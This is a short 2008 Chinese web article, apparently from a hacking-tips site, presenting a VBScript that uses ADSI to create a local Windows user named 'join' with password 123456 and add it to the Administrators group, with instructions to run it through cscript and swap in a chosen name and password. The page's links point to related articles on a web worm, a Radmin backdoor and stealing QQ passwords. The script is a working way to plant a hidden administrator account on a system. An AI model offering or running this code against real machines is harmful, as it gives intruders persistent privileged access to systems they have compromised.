用vbs加用户的绝妙方法

作者：放弃文章来源：网上收集点击数：更新时间：2008-4-7

★
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") ’属性,admin组
Set od=ob.Create("user","join") ’建立用户
od.SetPassword "123456" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&"/join",user) ’得到用户
oe.add os&"/join"
★

　　这段代码如果保存为1.vbs，在cmd下运行，格式: ●cscript 1.vbs●的话，会在当前系统加一个名字为join，密码为123456的管理员。当然，你可以用记事本来修改里边的变量join和123456，改成你喜欢的名字和密码值。

文章录入：二少责任编辑：放弃

上一篇文章：一个Web网页下蠕虫的简单实现

下一篇文章： Vbs脚本实现radmin终极后门

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

热门文章

	软件破解教程-第6章第3节加密算法3
	Visual C++编程窃取QQ密码(图)
	VB编程实现图像的漂亮效果
	输入10进制，输出2进制
	详解Visual C＃数据库编程
	入侵渗透中用过的三则VBS代码
	入侵渗透中用过的三则VBS代码
	网站防止注入入侵的一些有效代码和方法

24小时客服：0374-7126138 技术支持：0374-7126138 投诉电话：0374-7967536

客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739

许可证号:豫ICP备07005385号